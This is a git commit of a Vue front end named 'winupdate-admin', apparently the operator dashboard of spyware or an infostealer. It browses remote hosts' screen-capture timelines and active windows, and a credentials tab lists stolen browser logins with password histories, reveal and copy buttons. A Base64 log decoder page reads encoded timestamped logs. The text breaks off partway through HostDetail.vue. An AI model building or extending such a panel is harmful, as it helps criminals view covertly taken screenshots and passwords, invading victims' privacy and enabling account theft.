first commit

This commit is contained in:
feie9456 2025-06-27 09:22:19 +08:00
commit 064ef84469
24 changed files with 4787 additions and 0 deletions

30
.gitignore vendored Normal file
View File

@ -0,0 +1,30 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
.DS_Store
dist
dist-ssr
coverage
*.local
/cypress/videos/
/cypress/screenshots/
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?
*.tsbuildinfo

3
.vscode/extensions.json vendored Normal file
View File

@ -0,0 +1,3 @@
{
"recommendations": ["Vue.volar"]
}

33
README.md Normal file
View File

@ -0,0 +1,33 @@
# winupdate-admin
This template should help get you started developing with Vue 3 in Vite.
## Recommended IDE Setup
[VSCode](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur).
## Type Support for `.vue` Imports in TS
TypeScript cannot handle type information for `.vue` imports by default, so we replace the `tsc` CLI with `vue-tsc` for type checking. In editors, we need [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) to make the TypeScript language service aware of `.vue` types.
## Customize configuration
See [Vite Configuration Reference](https://vite.dev/config/).
## Project Setup
```sh
pnpm install
```
### Compile and Hot-Reload for Development
```sh
pnpm dev
```
### Type-Check, Compile and Minify for Production
```sh
pnpm build
```

1
env.d.ts vendored Normal file
View File

@ -0,0 +1 @@
/// <reference types="vite/client" />

13
index.html Normal file
View File

@ -0,0 +1,13 @@
<!DOCTYPE html>
<html lang="">
<head>
<meta charset="UTF-8">
<link rel="icon" href="/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>屏幕截图监控系统</title>
</head>
<body>
<div id="app"></div>
<script type="module" src="/src/main.ts"></script>
</body>
</html>

35
package.json Normal file
View File

@ -0,0 +1,35 @@
{
"name": "winupdate-admin",
"version": "0.0.0",
"private": true,
"type": "module",
"scripts": {
"dev": "vite",
"build": "run-p type-check \"build-only {@}\" --",
"preview": "vite preview",
"build-only": "vite build",
"type-check": "vue-tsc --build"
},
"dependencies": {
"axios": "^1.7.9",
"date-fns": "^4.1.0",
"lucide-vue-next": "^0.469.0",
"vite-plugin-singlefile": "^2.1.0",
"vue": "^3.5.13",
"vue-router": "^4.5.0"
},
"devDependencies": {
"@tsconfig/node22": "^22.0.0",
"@types/node": "^22.10.2",
"@vitejs/plugin-vue": "^5.2.1",
"@vue/tsconfig": "^0.7.0",
"autoprefixer": "^10.4.20",
"npm-run-all2": "^7.0.2",
"postcss": "^8.4.49",
"tailwindcss": "^3.4.17",
"typescript": "~5.6.3",
"vite": "^6.0.5",
"vite-plugin-vue-devtools": "^7.6.8",
"vue-tsc": "^2.1.10"
}
}

2835
pnpm-lock.yaml generated Normal file

File diff suppressed because it is too large Load Diff

6
postcss.config.js Normal file
View File

@ -0,0 +1,6 @@
export default {
plugins: {
tailwindcss: {},
autoprefixer: {},
},
}

71
src/App.vue Normal file
View File

@ -0,0 +1,71 @@
<script setup lang="ts">
import { RouterLink, RouterView } from 'vue-router'
</script>
<template>
<RouterView />
</template>
<style scoped>
header {
line-height: 1.5;
max-height: 100vh;
}
.logo {
display: block;
margin: 0 auto 2rem;
}
nav {
width: 100%;
font-size: 12px;
text-align: center;
margin-top: 2rem;
}
nav a.router-link-exact-active {
color: var(--color-text);
}
nav a.router-link-exact-active:hover {
background-color: transparent;
}
nav a {
display: inline-block;
padding: 0 1rem;
border-left: 1px solid var(--color-border);
}
nav a:first-of-type {
border: 0;
}
@media (min-width: 1024px) {
header {
display: flex;
place-items: center;
padding-right: calc(var(--section-gap) / 2);
}
.logo {
margin: 0 2rem 0 0;
}
header .wrapper {
display: flex;
place-items: flex-start;
flex-wrap: wrap;
}
nav {
text-align: left;
margin-left: -1rem;
font-size: 1rem;
padding: 1rem 0;
margin-top: 1rem;
}
}
</style>

1
src/assets/logo.svg Normal file
View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 261.76 226.69"><path d="M161.096.001l-30.225 52.351L100.647.001H-.005l130.877 226.688L261.749.001z" fill="#41b883"/><path d="M161.096.001l-30.225 52.351L100.647.001H52.346l78.526 136.01L209.398.001z" fill="#34495e"/></svg>

After

Width:  |  Height:  |  Size: 276 B

3
src/assets/main.css Normal file
View File

@ -0,0 +1,3 @@
@tailwind base;
@tailwind components;
@tailwind utilities;

View File

@ -0,0 +1,159 @@
<!-- src/components/RecordDatePicker.vue -->
<template>
<div class="record-date-picker p-4 bg-white rounded shadow">
<!-- 月份切换头部 -->
<div class="flex items-center justify-between mb-2">
<button @click="prevMonth"
class="p-2 rounded hover:bg-gray-200">&lt;</button>
<div class="font-semibold text-lg">
{{ currentYear }} - {{ (currentMonth + 1).toString().padStart(2,
'0') }}
</div>
<button @click="nextMonth"
class="p-2 rounded hover:bg-gray-200">&gt;</button>
</div>
<!-- 星期标题 -->
<div
class="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 mb-1">
<div v-for="day in weekDays" :key="day">
{{ day }}
</div>
</div>
<!-- 日历网格 -->
<div class="grid grid-cols-7 gap-1">
<div v-for="(day, index) in calendarDays" :key="index"
class="p-2 my-1 rounded cursor-pointer text-sm flex items-center justify-center"
:class="{ 'opacity-50': !day.isCurrentMonth }"
:style="getDayStyle(day)" @click="selectDay(day)">
<div class="relative">
<span>{{ day.day }}</span>
<!-- 可选右上角显示记录数量默认注释 -->
<!--
<span
v-if="day.count > 0"
class="absolute top-0 right-0 text-xs bg-green-600 rounded-full px-1"
:style="{ color: 'white' }"
>
{{ day.count }}
</span>
-->
</div>
</div>
</div>
</div>
</template>
<script setup lang="ts">
import { ref, computed } from 'vue';
const props = defineProps<{
modelValue: string | null,
dailyCounts: Record<string, number>
}>();
const emit = defineEmits(['update:modelValue']);
// 使
const today = new Date();
const initialDate = props.modelValue ? new Date(props.modelValue) : today;
const currentYear = ref(initialDate.getFullYear());
const currentMonth = ref(initialDate.getMonth()); // 011
//
const weekDays = ['日', '一', '二', '三', '四', '五', '六'];
//
const calendarDays = computed(() => {
const year = currentYear.value;
const month = currentMonth.value;
const firstDayOfMonth = new Date(year, month, 1);
const lastDayOfMonth = new Date(year, month + 1, 0);
const daysInMonth = lastDayOfMonth.getDate();
const startDayIndex = firstDayOfMonth.getDay(); //
const totalCells = Math.ceil((startDayIndex + daysInMonth) / 7) * 7;
const days = [];
//
const startDate = new Date(year, month, 1 - startDayIndex);
for (let i = 0; i < totalCells; i++) {
const date = new Date(startDate);
date.setDate(startDate.getDate() + i);
// 使 "2025-07-07"
const dateString = `${date.getFullYear()}-${(date.getMonth() + 1)
.toString()
.padStart(2, '0')}-${date.getDate().toString().padStart(2, '0')}`;
days.push({
date,
day: date.getDate(),
isCurrentMonth: date.getMonth() === month,
dateString,
count: props.dailyCounts[dateString] || 0
});
}
return days;
});
//
const maxCount = computed(() => {
let max = 0;
calendarDays.value.forEach((day) => {
if (day.count > max) {
max = day.count;
}
});
return max;
});
//
const selectDay = (day: { date: Date; dateString: string; isCurrentMonth: boolean }) => {
//
if (!day.isCurrentMonth) {
currentYear.value = day.date.getFullYear();
currentMonth.value = day.date.getMonth();
}
emit('update:modelValue', day.dateString);
};
//
const getDayStyle = (day: { date: Date; dateString: string; isCurrentMonth: boolean; count: number }) => {
const styles: Record<string, string> = {};
//
if (props.modelValue === day.dateString) {
styles.outline = '2px solid #2563EB'; // blue-600
}
if (day.count > 0) {
// 0.3 1.0
const ratio = maxCount.value > 0 ? day.count / maxCount.value : 0;
const opacity = 0.3 + ratio * 0.7;
styles.backgroundColor = `rgba(16, 185, 129, ${opacity})`; // green-500
// opacity 0.6使使
styles.color = opacity > 0.6 ? 'white' : 'black';
} else {
styles.backgroundColor = 'transparent';
styles.color = 'inherit';
}
return styles;
};
const prevMonth = () => {
if (currentMonth.value === 0) {
currentYear.value -= 1;
currentMonth.value = 11;
} else {
currentMonth.value -= 1;
}
};
const nextMonth = () => {
if (currentMonth.value === 11) {
currentYear.value += 1;
currentMonth.value = 0;
} else {
currentMonth.value += 1;
}
};
</script>
<style scoped>
/* 可根据需要添加更多样式 */
</style>

View File

@ -0,0 +1,236 @@
<!-- src/components/TimelineSlider.vue -->
<template>
<div class="timeline-slider" ref="sliderRef" @touchstart.prevent
@pointerdown.prevent="onPointerDown">
<!-- 底部轨道 -->
<div class="slider-track" :style="trackStyle">
<!-- mode segments 根据 segments 数据渲染各段颜色 -->
<template v-if="mode === 'segments' && segments.length">
<div v-for="(segment, index) in segments" :key="index"
class="slider-segment" :style="getSegmentStyle(segment)"></div>
</template>
<!-- mode ticks 渲染刻度标记 -->
<template v-if="mode === 'ticks' && markers.length">
<div v-for="(marker, index) in markers" :key="index"
class="slider-marker" :style="getMarkerStyle(marker)"></div>
</template>
</div>
<!-- 可拖动的滑块 -->
<div class="slider-handle" :style="handleStyle" @touchstart.prevent
@pointerdown.prevent="onPointerDown">
<!-- 拖动时显示 tooltip -->
<div v-if="showTooltip" class="slider-tooltip" :style="tooltipStyle">
{{ formattedValue }}
</div>
</div>
</div>
</template>
<script setup lang="ts">
import { ref, computed, onMounted, watch } from 'vue';
import { format } from 'date-fns';
interface Segment {
start: number;
end: number;
active: boolean;
}
interface Marker {
time: number;
label?: string;
active?: boolean;
}
const props = defineProps({
minTime: { type: Number, required: true },
maxTime: { type: Number, required: true },
modelValue: { type: Number, required: true },
mode: { type: String, default: 'default' }, // 'segments' 'ticks'
segments: { type: Array as () => Segment[], default: () => [] },
markers: { type: Array as () => Marker[], default: () => [] }
});
const emit = defineEmits(['update:modelValue', 'change']);
const sliderRef = ref<HTMLElement | null>(null);
const dragging = ref(false);
const internalValue = ref(props.modelValue);
const showTooltip = ref(false);
watch(() => props.modelValue, (newVal) => {
internalValue.value = newVal;
});
watch(internalValue, (newVal) => {
emit('update:modelValue', newVal);
});
//
const formattedValue = computed(() => {
return format(new Date(internalValue.value), 'HH:mm:ss');
});
//
const percentage = computed(() => {
return ((internalValue.value - props.minTime) / (props.maxTime - props.minTime)) * 100;
});
const handleStyle = computed(() => {
return {
position: 'absolute' as any,
left: `${percentage.value}%`,
transform: 'translate(-50%, -50%)',
top: '50%',
width: '20px',
height: '20px',
borderRadius: '50%',
backgroundColor: '#4ADE80', // 绿
border: '2px solid white',
boxShadow: '0 0 2px rgba(0,0,0,0.5)',
zIndex: 2,
cursor: 'pointer'
};
});
const trackStyle = computed(() => {
return {
position: 'absolute' as any,
top: '50%',
left: 0,
right: 0,
height: '6px',
backgroundColor: '#E5E7EB', //
transform: 'translateY(-50%)',
borderRadius: '3px'
};
});
// segment
const getSegmentStyle = (segment: Segment) => {
const startPercent = ((segment.start - props.minTime) / (props.maxTime - props.minTime)) * 100;
const endPercent = ((segment.end - props.minTime) / (props.maxTime - props.minTime)) * 100;
const widthPercent = endPercent - startPercent;
return {
position: 'absolute' as any,
left: `${startPercent}%`,
width: `${widthPercent}%`,
height: '100%',
backgroundColor: segment.active ? '#4ADE80' : '#E5E7EB',
borderLeft: '1px solid #E5E7EB',
borderRight: '1px solid #E5E7EB',
};
};
// marker
const getMarkerStyle = (marker: Marker) => {
const pos = ((marker.time - props.minTime) / (props.maxTime - props.minTime)) * 100;
return {
position: 'absolute' as any,
left: `${pos}%`,
top: '50%',
width: '2px',
height: '100%',
backgroundColor: marker.active ? '#4ADE80' : '#9CA3AF',
transform: 'translate(-50%, -50%)'
};
};
const tooltipStyle = computed(() => {
return {
position: 'absolute' as any,
bottom: '100%', //
left: '50%',
transform: 'translateX(-50%)',
marginBottom: '8px',
padding: '4px 8px',
backgroundColor: 'rgba(0, 0, 0, 0.7)',
color: 'white',
borderRadius: '4px',
fontSize: '12px',
whiteSpace: 'nowrap'
};
});
const pointerMoveHandler = (event: PointerEvent) => {
if (!dragging.value || !sliderRef.value) return;
const rect = sliderRef.value.getBoundingClientRect();
let x = event.clientX - rect.left;
x = Math.max(0, Math.min(x, rect.width));
const newValue = props.minTime + (x / rect.width) * (props.maxTime - props.minTime);
internalValue.value = newValue;
};
const pointerUpHandler = () => {
dragging.value = false;
showTooltip.value = false;
window.removeEventListener('pointermove', pointerMoveHandler);
window.removeEventListener('pointerup', pointerUpHandler);
//
const snapped = getSnapValue(internalValue.value);
internalValue.value = snapped;
emit('change', snapped);
};
/**
* 根据当前的 internalValue 计算吸附snap后的值
* - mode 'ticks' markers 不为空则吸附到最近的 marker.time
* - mode 'segments' 且存在 active segment则吸附到最近 active segment 的中点
* - 否则直接返回当前值
*/
const getSnapValue = (value: number): number => {
if (props.mode === 'ticks' && props.markers.length > 0) {
let closest = props.markers[0].time;
let minDiff = Math.abs(value - props.markers[0].time);
for (const marker of props.markers) {
const diff = Math.abs(value - marker.time);
if (diff < minDiff) {
minDiff = diff;
closest = marker.time;
}
}
return closest;
} else if (props.mode === 'segments' && props.segments.length > 0) {
// active segments start end value
let closestMidpoint: number | null = null;
let minDiff = Infinity;
for (const segment of props.segments) {
if (segment.active) {
const midpoint = (segment.start + segment.end) / 2;
const diff = Math.abs(value - midpoint);
if (diff < minDiff) {
minDiff = diff;
closestMidpoint = midpoint;
}
}
}
if (closestMidpoint !== null) {
return closestMidpoint;
}
}
return value;
};
const onPointerDown = (event: PointerEvent) => {
event.stopPropagation();
dragging.value = true;
showTooltip.value = true;
window.addEventListener('pointermove', pointerMoveHandler);
window.addEventListener('pointerup', pointerUpHandler);
if (!dragging.value || !sliderRef.value) return;
const rect = sliderRef.value.getBoundingClientRect();
let x = event.clientX - rect.left;
x = Math.max(0, Math.min(x, rect.width));
const newValue = props.minTime + (x / rect.width) * (props.maxTime - props.minTime);
internalValue.value = newValue;
};
onMounted(() => {
//
});
</script>
<style scoped>
.timeline-slider {
position: relative;
height: 40px;
user-select: none;
touch-action: none;
}
</style>

8
src/main.ts Normal file
View File

@ -0,0 +1,8 @@
import { createApp } from 'vue'
import App from './App.vue'
import router from './router'
import './assets/main.css' // 导入 Tailwind CSS
const app = createApp(App)
app.use(router)
app.mount('#app')

27
src/router/index.ts Normal file
View File

@ -0,0 +1,27 @@
import { createRouter, createWebHistory } from 'vue-router';
const router = createRouter({
history: createWebHistory(),
routes: [
{
path: '/',
name: 'HostList',
component: () => import('../views/HostList.vue')
},
{
path: '/hosts/:hostname',
name: 'HostDetail',
component: () => import('../views/HostDetail.vue')
},{
path: '/decode',
name: 'Decoder',
component: () => import('../views/Base64Decoder.vue')
},{
path: '/upload',
name: 'Upload',
component: () => import('../views/VersionUploader.vue')
}
]
});
export default router;

131
src/views/Base64Decoder.vue Normal file
View File

@ -0,0 +1,131 @@
<script setup lang="ts">
import { ref, nextTick } from 'vue'
const decodedLines = ref<string[]>([])
const errorMessage = ref('')
const resultRef = ref<HTMLElement | null>(null)
// Unix
const formatTimestamp = (line: string): string => {
const match = line.match(/^\[(\d+)\](.*)/)
if (match) {
const timestamp = parseInt(match[1])
const date = new Date(timestamp * 1000)
const formattedTime = date.toLocaleString('zh-CN', {
year: 'numeric',
month: '2-digit',
day: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
hour12: false
})
return `[${formattedTime}]${match[2]}`
}
return line
}
const decodeBase64 = (base64String: string): string => {
try {
const binaryString = atob(base64String.trim())
const bytes = new Uint8Array(binaryString.length)
for (let i = 0; i < binaryString.length; i++) {
bytes[i] = binaryString.charCodeAt(i)
}
const decoder = new TextDecoder('utf-8')
return decoder.decode(bytes)
} catch (e) {
// @ts-ignore
throw new Error(`解码失败: ${e.message}`)
}
}
const scrollToBottom = async () => {
await nextTick()
if (resultRef.value) {
resultRef.value.scrollTop = resultRef.value.scrollHeight
}
}
const handleFileChange = async (event: Event) => {
const target = event.target as HTMLInputElement
const file = target.files?.[0]
if (!file) {
errorMessage.value = '请选择文件'
return
}
try {
const text = await file.text()
const lines = text.split('\n')
decodedLines.value = lines
.filter(line => line.trim())
.map((line, index) => {
try {
const decodedLine = decodeBase64(line)
return formatTimestamp(decodedLine)
} catch (e) {
console.error(`${index + 1} 行解码失败:`, e)
return `${index + 1} 行解码失败: ${line}`
}
})
errorMessage.value = ''
await scrollToBottom()
} catch (e) {
errorMessage.value = '文件读取失败,请重试'
console.error('文件读取错误:', e)
}
}
</script>
<template>
<div class="max-w-4xl mx-auto p-6">
<h1 class="text-2xl font-bold text-gray-800 mb-6">Base64 日志解码器</h1>
<!-- 文件上传区域 -->
<div class="mb-8">
<div class="border-2 border-dashed border-gray-300 rounded-lg p-6 text-center">
<label class="block mb-4 text-sm font-medium text-gray-700">
选择日志文件
</label>
<input
type="file"
accept=".txt,.log"
@change="handleFileChange"
class="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4
file:rounded-md file:border-0 file:text-sm file:font-semibold
file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100
cursor-pointer"
>
</div>
</div>
<!-- 错误提示 -->
<div v-if="errorMessage" class="mb-6 p-4 bg-red-50 text-red-600 rounded-md">
{{ errorMessage }}
</div>
<!-- 解码结果 -->
<div v-if="decodedLines.length" class="space-y-2">
<h2 class="text-lg font-semibold text-gray-700 mb-4">解码结果</h2>
<div
ref="resultRef"
class="bg-white shadow rounded-lg overflow-auto max-h-[600px]"
>
<div class="divide-y divide-gray-100">
<div v-for="(line, index) in decodedLines"
:key="index"
class="py-1.5 px-4 hover:bg-gray-50 leading-tight"
:class="{'bg-red-50': line.startsWith('第')}"
>
<pre class="whitespace-pre-wrap font-mono text-sm text-gray-800">{{ line }}</pre>
</div>
</div>
</div>
</div>
</div>
</template>

818
src/views/HostDetail.vue Normal file
View File

@ -0,0 +1,818 @@
<!-- src/views/HostDetail.vue -->
<template>
<div class="min-h-screen bg-gray-50 overflow-x-hidden">
<div class="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
<!-- 头部导航 -->
<div class="flex items-center justify-between mb-8">
<div>
<button @click="router.back()"
class="inline-flex items-center text-gray-600 hover:text-gray-900">
<ArrowLeft class="h-5 w-5 mr-2" />
返回
</button>
<h1 class="text-3xl font-semibold text-gray-900 mt-2">
{{ hostname }}
</h1>
</div>
<div class="text-sm text-gray-500" v-if="lastUpdate">
最后更新: {{ formatDate(lastUpdate) }}
</div>
</div>
<!-- 选项卡导航 -->
<div class="mb-6 border-b border-gray-200">
<nav class="-mb-px flex space-x-8">
<button @click="activeTab = 'screenshots'"
class="py-2 px-1 border-b-2 font-medium text-sm"
:class="activeTab === 'screenshots' ? 'border-blue-600 text-blue-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'">
截图时间线
</button>
<button @click="activeTab = 'credentials'"
class="py-2 px-1 border-b-2 font-medium text-sm"
:class="activeTab === 'credentials' ? 'border-blue-600 text-blue-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'">
凭据信息
</button>
</nav>
</div>
<!-- 截图时间线选项卡 -->
<div v-if="activeTab === 'screenshots'">
<!-- 小时分布滑块时间分布 -->
<div class="mb-8">
<div class="flex justify-between items-center mb-4">
<h2 class="text-lg font-medium text-gray-900">时间分布</h2>
<!-- 刷新按钮加载时图标旋转 -->
<button @click="refreshTimeDistribution"
class="p-2 rounded hover:bg-gray-100">
<RefreshCcw :class="{ 'animate-spin': loadingDistribution }"
class="h-5 w-5 text-gray-600" />
</button>
</div>
<!-- 使用日历式日期选择组件 -->
<RecordDatePicker v-model="selectedDate" :dailyCounts="dailyCounts"
class="mb-4" />
<TimelineSlider v-if="hourlySegments.length" :minTime="hourlyMinTime"
:maxTime="hourlyMaxTime" v-model="hourlySliderValue" mode="segments"
:segments="hourlySegments" @change="onHourlySliderChange" />
<div v-else class="text-gray-500">加载时间分布中...</div>
</div>
<!-- 详细时间点滑块 -->
<div class="mb-8" v-if="showDetailTimeline">
<div class="flex justify-between items-center mb-4">
<h2 class="text-lg font-medium text-gray-900">时间点详情</h2>
<!-- 详细记录刷新按钮 -->
<button @click="refreshDetailedRecords"
class="p-2 rounded hover:bg-gray-100">
<RefreshCcw :class="{ 'animate-spin': loadingRecords }"
class="h-5 w-5 text-gray-600" />
</button>
</div>
<TimelineSlider v-if="records.length" :minTime="timeRange.min"
:maxTime="timeRange.max" v-model="detailedSliderValue" mode="ticks"
:markers="detailedMarkers" @change="onDetailedSliderChange" />
<div v-else class="text-gray-500">加载记录中...</div>
</div>
<!-- 图片预览区域及控制按钮 -->
<div v-if="selectedRecord" class="bg-white rounded-lg shadow-sm p-6">
<!-- 图片预览区域可能存在多张截图 -->
<div v-for="(screenshot, sIndex) in selectedRecord.screenshots"
:key="sIndex" class="relative mb-6">
<!-- 外层容器用于固定宽高比减少布局抖动 -->
<div class="relative w-full"
:style="{ aspectRatio: imageAspectRatio }">
<img
:src="`${isLocalhost ? 'http://debian:12398' : ''}/screenshots/${screenshot.fileId}`"
:alt="screenshot.monitorName"
class="absolute top-0 left-0 w-full h-full object-contain shadow-sm hover:shadow-md transition-shadow"
@load="(e) => onImageLoad(e, screenshot.fileId)" />
</div>
<!-- 图片说明 -->
<div
class="absolute bottom-4 left-4 bg-black bg-opacity-60 text-white px-2 py-1 rounded">
<div class="text-sm">{{ screenshot.monitorName }}</div>
<div class="text-xs">{{ new
Date(selectedRecord.timestamp).toLocaleString() }}
</div>
</div>
<div @pointerdown.prevent="prevFrame" @touchstart.prevent=""
class="absolute bottom-0 left-0 h-full w-1/3 text-white px-2 py-1">
</div>
<div @pointerdown.prevent="nextFrame" @touchstart.prevent=""
class="absolute bottom-0 right-0 h-full w-1/3 text-white px-2 py-1">
</div>
</div>
<!-- 控制按钮区域放置在图片预览区之前 -->
<div
class="flex flex-col sm:flex-row items-center justify-center mb-4 space-y-2 sm:space-y-0 sm:space-x-3">
<!-- 自动播放速度设置 -->
<label class="flex items-center space-x-1">
<span class="text-sm text-gray-600">速度</span>
<input type="number" v-model.number="autoPlaySpeed"
class="w-16 text-sm px-1 py-1 border rounded focus:outline-none"
min="100" max="2000" step="100" />
<span class="text-sm text-gray-600">ms</span>
</label>
<button @click="toggleAutoPlay"
class="px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none">
<span v-if="!autoPlay">播放</span>
<span v-else>暂停</span>
</button>
</div>
<!-- 窗口信息 -->
<div class="w-full">
<h3 class="text-lg font-medium text-gray-900 mb-3">活动窗口
</h3>
<div class="bg-gray-50 rounded-md p-4">
<div
class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
<div v-for="window in selectedRecord.windows"
:key="window.title" class="p-4 bg-white rounded-md shadow-sm">
<div class="space-y-2">
<div class="font-medium text-gray-900">
{{ window.title }}
</div>
<div class="text-sm text-gray-500 break-all">
{{ window.path }}
</div>
<div class="text-sm flex items-center text-gray-600">
内存占用: {{ formatMemory(window.memory) }}
</div>
</div>
</div>
</div>
</div>
</div>
</div> <!-- end if selectedRecord -->
</div>
<!-- 凭据信息选项卡 -->
<div v-if="activeTab === 'credentials'"
class="bg-white rounded-lg shadow-sm p-6">
<div class="flex items-center justify-between mb-6">
<h2 class="text-xl font-medium text-gray-900">凭据信息</h2>
<div class="flex space-x-2">
<button @click="fetchCredentials"
class="px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none flex items-center">
<RefreshCcw class="h-4 w-4 mr-1"
:class="{ 'animate-spin': loadingCredentials }" />
刷新
</button>
</div>
</div>
<!-- 加载状态 -->
<div v-if="loadingCredentials" class="flex justify-center py-12">
<div class="animate-pulse flex flex-col items-center">
<Loader2 class="h-8 w-8 text-blue-600 animate-spin" />
<p class="mt-2 text-gray-500">加载凭据信息...</p>
</div>
</div>
<!-- 凭据为空显示 -->
<div v-else-if="credentialsByUser.length === 0"
class="py-12 flex flex-col items-center justify-center">
<ShieldAlert class="h-12 w-12 text-gray-400 mb-3" />
<p class="text-gray-500 mb-1">没有找到任何凭据信息</p>
<p class="text-sm text-gray-400">可能是该主机尚未上报凭据数据</p>
</div>
<!-- 凭据内容 -->
<div v-else class="space-y-6">
<div v-for="(userGroup, index) in credentialsByUser" :key="index"
class="border border-gray-200 rounded-md overflow-hidden">
<!-- 用户信息头部 -->
<div class="bg-gray-50 px-4 py-3">
<div class="flex items-center justify-between">
<div class="flex items-center cursor-pointer"
@click="toggleUserExpanded(userGroup.username)">
<User class="h-5 w-5 text-gray-500 mr-2" />
<h3 class="font-medium text-gray-900">{{ userGroup.username }}
</h3>
<div class="ml-3 text-sm text-gray-500">
({{ userGroup.browsers.length }} 个浏览器, {{ userGroup.total }}
个凭据)
</div>
<ChevronDown
class="h-5 w-5 text-gray-500 ml-2 transition-transform duration-200"
:class="{ 'rotate-180': expandedUsers.includes(userGroup.username) }" />
</div>
<!-- 添加最后同步时间显示 -->
<div v-if="userGroup.lastSyncTime"
class="text-xs text-gray-500">
最后同步: {{ formatDate(userGroup.lastSyncTime, 'short') }}
</div>
</div>
</div>
<!-- 用户凭据内容 -->
<div v-if="expandedUsers.includes(userGroup.username)"
class="divide-y divide-gray-100">
<div v-for="browser in userGroup.browsers"
:key="`${userGroup.username}-${browser.name}`"
class="px-4 py-3 hover:bg-gray-50">
<!-- 浏览器标题 -->
<div class="flex items-center mb-2 cursor-pointer"
@click="toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)">
<div class="flex items-center">
<Globe class="h-4 w-4 text-gray-500 mr-2" />
<span class="font-medium text-gray-800">{{ browser.name
}}</span>
<span class="ml-2 text-sm text-gray-500">({{
browser.credentials.length }} 个站点)</span>
</div>
<ChevronDown
class="h-4 w-4 text-gray-500 ml-2 transition-transform duration-200"
:class="{ 'rotate-180': expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) }" />
</div>
<!-- 浏览器凭据列表 -->
<div
v-if="expandedBrowsers.includes(`${userGroup.username}-${browser.name}`)"
class="pl-6 space-y-3 mt-2">
<div v-for="cred in browser.credentials"
:key="`${userGroup.username}-${browser.name}-${cred._id}`"
class="border border-gray-200 rounded-md overflow-hidden">
<!-- 凭据网站头部 -->
<div
class="bg-gray-50 px-3 py-2 flex items-center justify-between cursor-pointer"
@click="toggleCredentialExpanded(cred._id)">
<div class="flex items-center">
<Link class="h-4 w-4 text-gray-500 mr-2" />
<div
class="text-sm font-medium text-gray-900 truncate max-w-md">
{{ cred.url }}</div>
</div>
<ChevronDown
class="h-4 w-4 text-gray-500 transition-transform duration-200"
:class="{ 'rotate-180': expandedCredentials.includes(cred._id) }" />
</div>
<!-- 凭据详情 -->
<div v-if="expandedCredentials.includes(cred._id)"
class="bg-white px-3 py-2">
<div class="grid grid-cols-1 gap-2 sm:grid-cols-2">
<div class="flex items-center">
<span class="text-sm text-gray-500 w-16">用户名:</span>
<span class="text-sm font-medium ml-2">{{ cred.login
}}</span>
</div>
<div class="flex flex-col">
<div class="flex items-center mb-1">
<span
class="text-sm text-gray-500 w-16">密码历史:</span>
<span
class="text-xs bg-gray-100 text-gray-600 rounded px-1">
{{ cred.passwords.length }} 条记录
</span>
</div>
<div class="pl-6 space-y-2 mt-1">
<div v-for="(pwd, pwdIndex) in cred.passwords"
:key="pwdIndex"
class="flex items-center group relative">
<span
class="text-xs text-gray-400 w-24 flex-shrink-0">
{{ formatDate(pwd.timestamp, 'short') }}
</span>
<div class="flex-1 flex items-center">
<span
v-if="!revealedPasswords.includes(`${cred._id}-${pwdIndex}`)"
class="text-sm font-mono bg-gray-50 px-2 py-0.5 rounded flex-1"
@click="revealPassword(`${cred._id}-${pwdIndex}`)">
</span>
<span v-else
class="text-sm font-mono bg-gray-50 px-2 py-0.5 rounded flex-1 text-green-700">
{{ pwd.value }}
</span>
<button @click="copyToClipboard(pwd.value)"
class="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 hover:text-gray-700">
<Clipboard class="h-4 w-4" />
</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</template>
<script setup lang="ts">
const isLocalhost = location.href.includes('localhost');
import { ref, onMounted, computed, watch } from 'vue';
import { useRouter, useRoute } from 'vue-router';
import {
ArrowLeft,
RefreshCcw,
ChevronDown,
User,
Globe,
Link,
Clipboard,
ShieldAlert,
Loader2
} from 'lucide-vue-next';
import { format } from 'date-fns';
import TimelineSlider from '../components/TimelineSlider.vue';
import RecordDatePicker from '../components/RecordDatePicker.vue';
interface Screenshot {
fileId: string;
filename: string;
monitorName: string;
}
interface Window {
title: string;
path: string;
memory: number;
}
interface ScreenRecord {
timestamp: string;
windows: Window[];
screenshots: Screenshot[];
}
interface TimeDistributionPoint {
count: number;
timestamp: number; //
}
interface Password {
value: string;
timestamp: string;
}
interface Credential {
_id: string;
hostname: string;
username: string;
browser: string;
url: string;
login: string;
passwords: Password[];
lastSyncTime: Date; //
}
interface BrowserGroup {
name: string;
credentials: Credential[];
}
interface UserGroup {
username: string;
browsers: BrowserGroup[];
total: number;
lastSyncTime?: string; //
}
const router = useRouter();
const route = useRoute();
const hostname = ref(route.params.hostname as string);
const timeDistribution = ref<TimeDistributionPoint[]>([]);
const records = ref<ScreenRecord[]>([]);
const selectedRecord = ref<ScreenRecord | null>(null);
const loadingDistribution = ref(false);
const loadingRecords = ref(false);
const showDetailTimeline = ref(false);
const lastUpdate = ref<string | null>(null);
//
const activeTab = ref('screenshots');
//
const credentials = ref<Credential[]>([]);
const loadingCredentials = ref(false);
const expandedUsers = ref<string[]>([]);
const expandedBrowsers = ref<string[]>([]);
const expandedCredentials = ref<string[]>([]);
const revealedPasswords = ref<string[]>([]);
const formatMemory = (bytes: number) => {
if (typeof bytes !== 'number') return '0 B';
const units = ['B', 'KB', 'MB', 'GB'];
let size = bytes;
